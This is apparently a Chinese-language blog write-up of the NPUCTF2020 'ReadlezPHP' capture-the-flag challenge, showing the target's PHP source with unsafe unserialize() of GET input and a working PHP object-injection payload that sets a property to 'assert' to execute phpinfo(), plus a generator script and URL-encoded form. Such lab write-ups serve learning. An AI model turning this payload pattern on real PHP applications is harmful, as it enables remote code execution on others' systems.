CTF | 4分钟
NPUCTF2020 ReadlezPHP
四月 26, 2021
WEB 反序列化

打开靶机,吓我一跳,你根本不知道大晚上刷题,看到这个网页内心是啥感觉

页面好像限制鼠标了,左点右点没东西。robots啥也没有,CTRL+U看源码

发现有./time.php?source,点进去看一下

php
 1<?php
 2#error_reporting(0);
 3class HelloPhp
 4{
 5    public $a;
 6    public $b;
 7    public function __construct(){
 8        $this->a = "Y-m-d h:i:s";
 9        $this->b = "date";
10    }
11    public function __destruct(){
12        $a = $this->a;
13        $b = $this->b;
14        echo $b($a);
15    }
16}
17$c = new HelloPhp;
18
19if(isset($_GET['source']))
20{
21    highlight_file(__FILE__);
22    die(0);
23}
24
25@$ppp = unserialize($_GET["data"]);

我不太懂php反序列化,起初我以为这里只是显示时间的源码没啥用,后来看了wp才知道反序列化是怎么用的。

先来看看代码吧,创建一个HelloPhp类,有两个属性a和b,第一个方法是初始化,给它赋值成字符串,以便第二个方法使用。注意a里面是有时间格式化的。第二个方法,把上述字符串赋给a和b,然后输出b(b(a) 这样源码就会执行echo date(Y-m-d h:i:s);

看了没啥用,唯一有用的就是那个b(b(a),利用它来执行我们的命令,比如system("phpinfo()")但这里system被过滤了,我们用assert代替。

看到下面的接受data了嘛,就从那里入手,我们需要构造一个反序列化出来

一个HelloPhp对象,属性a值为phpinfo(),属性b值为assert

O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

payload:

php
1?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

手撸太慢,写个代码生成并且url转码(其实不转也一样)

php
 1<?php
 2class HelloPhp
 3{
 4    public $a;
 5    public $b;
 6    public function HelloPhp(){
 7        $this->a = "phpinfo()";
 8        $this->b = "assert";
 9    }
10}
11$c = new HelloPhp;
12echo urlencode(serialize($c)); 
13?>

payload:

php
1?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A9%3A%22phpinfo%28%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D

本来还以为要执行其他命令拿flag,没想到就在phpinfo里

在phpinfo页面CTRL+F搜索flag就行

算是php反序列化基础了,我知道但不知道如何利用,基础太差,继续肝!